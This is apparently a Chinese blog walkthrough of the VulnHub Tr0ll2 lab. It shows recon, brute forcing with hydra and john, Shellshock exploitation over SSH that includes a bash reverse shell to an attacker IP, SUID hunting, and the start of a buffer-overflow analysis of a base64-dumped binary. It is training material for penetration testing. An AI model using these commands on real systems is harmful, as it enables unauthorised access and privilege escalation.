Day15 Tr0ll2 靶场WP
关注 泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
Tr0ll: 2
靶场地址:https://www.vulnhub.com/entry/tr0ll-2,107/
信息收集
sudo arp-scan -l
nmap -sS -sV -A -T5 -p- 172.168.169.139


检查网页源码发现有注释信息,写着作者是Tr0ll,用vim编辑的这个网页,我们就能推测,某个功能可能是ssh,可能是ftp的用户名应该有Tr0ll,之后的收集中要注意找密码。
打开看到一个滑稽的图片,看到web服务器是apache就想到应该要查一下网页的目录。
dirb http://172.168.169.139/ 
看到有个robots.txt是机器人爬虫的协议,越不让看什么越要看什么。





我们把所有目录都翻一遍可以看到出了以上几个目录有图片,其他几个目录都没有东西。这四个目录是:
http://172.168.169.139/noob/
http://172.168.169.139/keep_trying/
http://172.168.169.139/dont_bother/
http://172.168.169.139/ok_this_is_it/
图片隐写信息
检查网页源代码都没有什么有用信息,那么我们把目光放到图片上来,图片可能又隐写信息。在kali中下载这些图片,kali会自动重命名。可以看到第3次下载的图片大小何其他几个不同。
wget http://172.168.169.139/noob/cat_the_troll.jpg
wget http://172.168.169.139/keep_trying/cat_the_troll.jpg
wget http://172.168.169.139/dont_bother/cat_the_troll.jpg
wget http://172.168.169.139/ok_this_is_it/cat_the_troll.jpg
strings cat_the_troll.jpg.3
base64解码
可以看到第3哥图片比其他几个图片在末尾隐藏了一段话,其中y0ur_self极有可能是目录。打开看到如下文件,应该是base64加密。


这个文件很想一个爆破后留下的,推测密码应该在其中,用base64解码后再用hydra爆破尝试一下。
base64 -d answer.txt > pass.txt
hydra -l Tr0ll -P pass.txt 172.168.169.139 ssh -v
hydra -l Tr0ll -P pass.txt 172.168.169.139 ftp -v 默认密码尝试ftp登录
但是爆破不成功,这个可能是靶机作者给我们的误导,所以我们换个思路,尝试默认弱口令登录。尝试ftp登录后发现提示用户名Tr0ll,尝试用户名何密码都是这个后成功登录。发现有一个zip文件,下载后查看。

ZIP密码爆破
解压压缩包发现要密码,所以之前的answer.txt并不是登录密码,而是压缩包的密码。

用一下两个命令都可以爆破压缩包密码。
zip2john lmao.zip > lmao.txt && john --wordlist=pass.txt lmao.txt
fcrackzip -u -D -p pass.txt lmao.zip 

解压后似乎是一个密钥文件,有密钥的话我们就可以ssh登录了。
SSH密钥登录
直接登录时不行的
ssh -i noob noob@172.168.169.139
用以下命令查看为什么报错
ssh -vvv -i noob noob@172.168.169.139
---
OpenSSH_9.9p2 Debian-2, OpenSSL 3.5.0 8 Apr 2025
可能因为版本太老了,我尝试 强制客户端使用旧版签名算法在 SSH 命令中指定兼容旧服务器的签名算法:
ssh -i noob noob@172.168.169.139 -o PubkeyAcceptedKeyTypes=+ssh-rsa 
也不行。查资料发现可以利用shellcode漏洞。
CVE-2014-6271 是著名的 Shellshock 漏洞(又称 “Bash 破壳漏洞”),它影响了广泛使用的 Unix/Linux 系统中的 Bash 解释器。该漏洞允许攻击者通过环境变量注入恶意代码,从而远程执行任意命令。以下是漏洞利用的详细方法:
SSH强制命令
若目标允许通过SSH公钥认证并配置了强制命令(如 command="example"):
ssh -i id_rsa user@target '() { :;}; /bin/bash -i >& /dev/tcp/攻击者IP/4444 0>&1'ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa noob@172.168.169.139 '() { :;}; cat /etc/passwd'
ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa noob@172.168.169.139 '() { :;}; /bin/bash' 
python -c 'import pty; pty.spawn("/bin/bash")'换个好看的shell,到根目录下查看发现有个nothing_to_see_here目录,此地无银三百两。

在这个文件夹下有几个door文件夹,里面有可执行文件,执行了之后,我们就好像踩雷了。所有的命令出了似乎都没有权限了就。
noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door1$ ./r00t
./r00t
Good job, stand by, executing root shell...
BUHAHAHA NOOB!
noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door2$ ./r00t
./r00t
2 MINUTE HARD MODE LOL


查阅其他WP发现用下面这个命令也可以找到三个door文件夹下面的脚本。
find / -perm -4000 -print 2>/dev/null 是一个用于查找系统中具有 SUID 权限(Set User ID) 文件的命令。发现这三个命令有SUID权限。

扩展命令
- 查找 SGID 文件(Set Group ID):
find / -perm -2000 -print 2>/dev/null- 查找全局可写文件:
find / -perm -0002 -type f 2>/dev/null似乎就没法搞了,只能回复快照。

顺带找一下内核信息

uname -a
Linux Tr0ll2 3.2.0-29-generic-pae #46-Ubuntu SMP Fri Jul 27 17:25:43 UTC 2012 i686 i686 i386 GNU/Linux
lsb_release -a
sh: 0: getcwd() failed: No such file or directory
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 12.04.1 LTS
Release: 12.04
Codename: precise缓存溢出漏洞
方法一:gdb调试找偏移
我们重新回到ssh登录,再次找到这几个文件夹,这次我们就不执行了。先ls一下看看文件属性,可以看到door1和door2的脚本都是7.2K,只有door3的脚本比较特殊是8.3K
ls -lahR
cd door3
base64 r00t得到如下结果
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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAP////8AAAAA
AAAAAAEAAAAQAAAADAAAAPSCBAgNAAAAXIUECPX+/2+sgQQIBQAAADyCBAgGAAAAzIEECAoAAABY
AAAACwAAABAAAAAVAAAAAAAAAAMAAAD0nwQIAgAAACgAAAAUAAAAEQAAABcAAADMggQIEQAAAMSC
BAgSAAAACAAAABMAAAAIAAAA/v//b6SCBAj///9vAQAAAPD//2+UggQIAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACifBAgAAAAAAAAAAEaDBAhWgwQI
ZoMECHaDBAiGgwQIAAAAAAAAAABHQ0M6IChVYnVudHUvTGluYXJvIDQuNi4zLTF1YnVudHU1KSA0
LjYuMwAcAAAAAgAAAAAABAAAAAAARIQECGMAAAAAAAAAAAAAABEBAAACAAAAAAAEAUoAAAABcwAA
AD8AAABEhAQIp4QECAAAAAACBAcfAAAAAgEILAAAAAICB1sAAAACBAcaAAAAAgEGLgAAAAICBXkA
AAADBAVpbnQAAggFAAAAAAIIBxUAAAACBAUFAAAABARxAAAAAgEGNQAAAAQEfgAAAAVxAAAABgE6
AAAAAQMBTwAAAESEBAinhAQIAAAAAAIBAAAHVgAAAAEDTwAAAAKRAAeDAAAAAQMCAQAAApEECGJ1
ZgABBQgBAAACdBAJAQ4AAAACAAFrAAAAAecAAAAKawAAAAp4AAAAAAtWhAQIeIQECAwBbgAAAAIA
AQEKTwAAAAAAAAQEawAAAA1xAAAADiUAAAD/AAABEQElDhMLAw4bDhEBEgEQBgAAAiQACws+CwMO
AAADJAALCz4LAwgAAAQPAAsLSRMAAAUmAEkTAAAGLgE/DAMOOgs7CycMSRMRARIBQAYBEwAABwUA
Aw46CzsLSRMCCgAACDQAAwg6CzsLSRMCCgAACS4BPwwDDjoLOwsnDEkTPAwBEwAACgUASRMAAAsL
AREBEgEAAAwuAT8MAw46CzsLJww8DAAADQEBSRMAAA4hAEkTLwsAAABGAAAAAgAqAAAAAQH7Dg0A
AQEBAQAAAAEAAAEAYm9mLmMAAAAAPGJ1aWx0LWluPgAAAAAAAAUCRIQECBS+aAhZvgh1CEsCAgAB
AWxvbmcgbG9uZyBpbnQAc3RyY3B5AGxvbmcgbG9uZyB1bnNpZ25lZCBpbnQAdW5zaWduZWQgY2hh
cgBtYWluAC9ob21lL25vb2IAR05VIEMgNC42LjMAYXJnYwBzaG9ydCB1bnNpZ25lZCBpbnQAZXhp
dABib2YuYwBzaG9ydCBpbnQAYXJndgAAAAAAAQAAAAIAdAQBAAAAAwAAAAIAdAgDAAAAYgAAAAIA
dQhiAAAAYwAAAAIAdAQAAAAAAAAAAAAuc3ltdGFiAC5zdHJ0YWIALnNoc3RydGFiAC5pbnRlcnAA
Lm5vdGUuQUJJLXRhZwAubm90ZS5nbnUuYnVpbGQtaWQALmdudS5oYXNoAC5keW5zeW0ALmR5bnN0
cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbC5keW4ALnJlbC5wbHQALmluaXQALnRl
eHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWVfaGRyAC5laF9mcmFtZQAuY3RvcnMALmR0b3JzAC5q
Y3IALmR5bmFtaWMALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AC5kZWJ1Z19hcmFu
Z2VzAC5kZWJ1Z19pbmZvAC5kZWJ1Z19hYmJyZXYALmRlYnVnX2xpbmUALmRlYnVnX3N0cgAuZGVi
dWdfbG9jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAEAAAAC
AAAAVIEECFQBAAATAAAAAAAAAAAAAAABAAAAAAAAACMAAAAHAAAAAgAAAGiBBAhoAQAAIAAAAAAA
AAAAAAAABAAAAAAAAAAxAAAABwAAAAIAAACIgQQIiAEAACQAAAAAAAAAAAAAAAQAAAAAAAAARAAA
APb//28CAAAArIEECKwBAAAgAAAABQAAAAAAAAAEAAAABAAAAE4AAAALAAAAAgAAAMyBBAjMAQAA
cAAAAAYAAAABAAAABAAAABAAAABWAAAAAwAAAAIAAAA8ggQIPAIAAFgAAAAAAAAAAAAAAAEAAAAA
AAAAXgAAAP///28CAAAAlIIECJQCAAAOAAAABQAAAAAAAAACAAAAAgAAAGsAAAD+//9vAgAAAKSC
BAikAgAAIAAAAAYAAAABAAAABAAAAAAAAAB6AAAACQAAAAIAAADEggQIxAIAAAgAAAAFAAAAAAAA
AAQAAAAIAAAAgwAAAAkAAAACAAAAzIIECMwCAAAoAAAABQAAAAwAAAAEAAAACAAAAIwAAAABAAAA
BgAAAPSCBAj0AgAALgAAAAAAAAAAAAAABAAAAAAAAACHAAAAAQAAAAYAAAAwgwQIMAMAAGAAAAAA
AAAAAAAAABAAAAAEAAAAkgAAAAEAAAAGAAAAkIMECJADAADMAQAAAAAAAAAAAAAQAAAAAAAAAJgA
AAABAAAABgAAAFyFBAhcBQAAGgAAAAAAAAAAAAAABAAAAAAAAACeAAAAAQAAAAIAAAB4hQQIeAUA
ABwAAAAAAAAAAAAAAAQAAAAAAAAApgAAAAEAAAACAAAAlIUECJQFAAA0AAAAAAAAAAAAAAAEAAAA
AAAAALQAAAABAAAAAgAAAMiFBAjIBQAAxAAAAAAAAAAAAAAABAAAAAAAAAC+AAAAAQAAAAMAAAAU
nwQIFA8AAAgAAAAAAAAAAAAAAAQAAAAAAAAAxQAAAAEAAAADAAAAHJ8ECBwPAAAIAAAAAAAAAAAA
AAAEAAAAAAAAAMwAAAABAAAAAwAAACSfBAgkDwAABAAAAAAAAAAAAAAABAAAAAAAAADRAAAABgAA
AAMAAAAonwQIKA8AAMgAAAAGAAAAAAAAAAQAAAAIAAAA2gAAAAEAAAADAAAA8J8ECPAPAAAEAAAA
AAAAAAAAAAAEAAAABAAAAN8AAAABAAAAAwAAAPSfBAj0DwAAIAAAAAAAAAAAAAAABAAAAAQAAADo
AAAAAQAAAAMAAAAUoAQIFBAAAAgAAAAAAAAAAAAAAAQAAAAAAAAA7gAAAAgAAAADAAAAHKAECBwQ
AAAIAAAAAAAAAAAAAAAEAAAAAAAAAPMAAAABAAAAMAAAAAAAAAAcEAAAKgAAAAAAAAAAAAAAAQAA
AAEAAAD8AAAAAQAAAAAAAAAAAAAARhAAACAAAAAAAAAAAAAAAAEAAAAAAAAACwEAAAEAAAAAAAAA
AAAAAGYQAAAVAQAAAAAAAAAAAAABAAAAAAAAABcBAAABAAAAAAAAAAAAAAB7EQAAtwAAAAAAAAAA
AAAAAQAAAAAAAAAlAQAAAQAAAAAAAAAAAAAAMhIAAEoAAAAAAAAAAAAAAAEAAAAAAAAAMQEAAAEA
AAAwAAAAAAAAAHwSAACIAAAAAAAAAAAAAAABAAAAAQAAADwBAAABAAAAAAAAAAAAAAAEEwAAOAAA
AAAAAAAAAAAAAQAAAAAAAAARAAAAAwAAAAAAAAAAAAAAPBMAAEcBAAAAAAAAAAAAAAEAAAAAAAAA
AQAAAAIAAAAAAAAAAAAAACQaAACQBAAAIwAAADMAAAAEAAAAEAAAAAkAAAADAAAAAAAAAAAAAAC0
HgAAHQIAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFSBBAgAAAAAAwABAAAA
AABogQQIAAAAAAMAAgAAAAAAiIEECAAAAAADAAMAAAAAAKyBBAgAAAAAAwAEAAAAAADMgQQIAAAA
AAMABQAAAAAAPIIECAAAAAADAAYAAAAAAJSCBAgAAAAAAwAHAAAAAACkggQIAAAAAAMACAAAAAAA
xIIECAAAAAADAAkAAAAAAMyCBAgAAAAAAwAKAAAAAAD0ggQIAAAAAAMACwAAAAAAMIMECAAAAAAD
AAwAAAAAAJCDBAgAAAAAAwANAAAAAABchQQIAAAAAAMADgAAAAAAeIUECAAAAAADAA8AAAAAAJSF
BAgAAAAAAwAQAAAAAADIhQQIAAAAAAMAEQAAAAAAFJ8ECAAAAAADABIAAAAAAByfBAgAAAAAAwAT
AAAAAAAknwQIAAAAAAMAFAAAAAAAKJ8ECAAAAAADABUAAAAAAPCfBAgAAAAAAwAWAAAAAAD0nwQI
AAAAAAMAFwAAAAAAFKAECAAAAAADABgAAAAAABygBAgAAAAAAwAZAAAAAAAAAAAAAAAAAAMAGgAA
AAAAAAAAAAAAAAADABsAAAAAAAAAAAAAAAAAAwAcAAAAAAAAAAAAAAAAAAMAHQAAAAAAAAAAAAAA
AAADAB4AAAAAAAAAAAAAAAAAAwAfAAAAAAAAAAAAAAAAAAMAIAABAAAAAAAAAAAAAAAEAPH/DAAA
ABSfBAgAAAAAAQASABoAAAAcnwQIAAAAAAEAEwAoAAAAJJ8ECAAAAAABABQANQAAAMCDBAgAAAAA
AgANAEsAAAAcoAQIAQAAAAEAGQBaAAAAIKAECAQAAAABABkAaAAAACCEBAgAAAAAAgANAAEAAAAA
AAAAAAAAAAQA8f90AAAAGJ8ECAAAAAABABIAgQAAAIiGBAgAAAAAAQARAI8AAAAknwQIAAAAAAEA
FACbAAAAMIUECAAAAAACAA0AsQAAAAAAAAAAAAAABADx/7cAAAAUnwQIAAAAAAAAEgDIAAAAKJ8E
CAAAAAABABUA0QAAABSfBAgAAAAAAAASAOQAAAD0nwQIAAAAAAEAFwD6AAAAIIUECAIAAAASAA0A
CgEAACKFBAgAAAAAEgINACEBAAAUoAQIAAAAACAAGAAsAQAAAAAAAAAAAAASAAAAPgEAABygBAgA
AAAAEADx/0UBAABchQQIAAAAABIADgBLAQAAAAAAAAAAAAASAAAAXQEAACCfBAgAAAAAEQITAGoB
AAAUoAQIAAAAABAAGAB3AQAAAAAAAAAAAAAgAAAAhgEAAAAAAAAAAAAAEgAAAJYBAAAYoAQIAAAA
ABECGACjAQAAfIUECAQAAAARAA8AsgEAAAAAAAAAAAAAEgAAAM8BAACwhAQIYQAAABIADQDfAQAA
JKAECAAAAAAQAPH/5AEAAJCDBAgAAAAAEgANAOsBAAB4hQQIBAAAABEADwDyAQAAHKAECAAAAAAQ
APH//gEAAESEBAhjAAAAEgANAAMCAAAAAAAAAAAAACAAAAAXAgAA9IIECAAAAAASAAsAAGNydHN0
dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1JfTElTVF9fAF9fSkNSX0xJU1RfXwBfX2RvX2dsb2Jh
bF9kdG9yc19hdXgAY29tcGxldGVkLjYxNTkAZHRvcl9pZHguNjE2MQBmcmFtZV9kdW1teQBfX0NU
T1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pDUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgA
Ym9mLmMAX19pbml0X2FycmF5X2VuZABfRFlOQU1JQwBfX2luaXRfYXJyYXlfc3RhcnQAX0dMT0JB
TF9PRkZTRVRfVEFCTEVfAF9fbGliY19jc3VfZmluaQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AGRh
dGFfc3RhcnQAcHJpbnRmQEBHTElCQ18yLjAAX2VkYXRhAF9maW5pAHN0cmNweUBAR0xJQkNfMi4w
AF9fRFRPUl9FTkRfXwBfX2RhdGFfc3RhcnQAX19nbW9uX3N0YXJ0X18AZXhpdEBAR0xJQkNfMi4w
AF9fZHNvX2hhbmRsZQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4w
AF9fbGliY19jc3VfaW5pdABfZW5kAF9zdGFydABfZnBfaHcAX19ic3Nfc3RhcnQAbWFpbgBfSnZf
UmVnaXN0ZXJDbGFzc2VzAF9pbml0AA==然后再在kali中复制解码得到r00t的脚本内容
cat |base64 -d > r00t
chmod +x door3/r00t
---
# 复制上面的base64内容,然后回车 ctrl D 结束
然后用gbd调试
sudo apt install gdb
gdb r00t
disas main
strcpy的作用: 将源字符串复制到目标缓冲区,不检查目标缓冲区长度,可能导致缓冲区溢出(Buffer Overflow)。- 漏洞场景:
如果目标缓冲区(如栈上的字符数组)较小,而源字符串过长,
strcpy会覆盖栈上的返回地址(或其他关键数据),导致程序崩溃或被控制流劫持。
kali:
ls /usr/share/metasploit-framework/tools/exploit
cp /usr/share/metasploit-framework/tools/exploit/pattern_create.rb ./
./pattern_create.rb -l 1000
-----
(gdb)run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3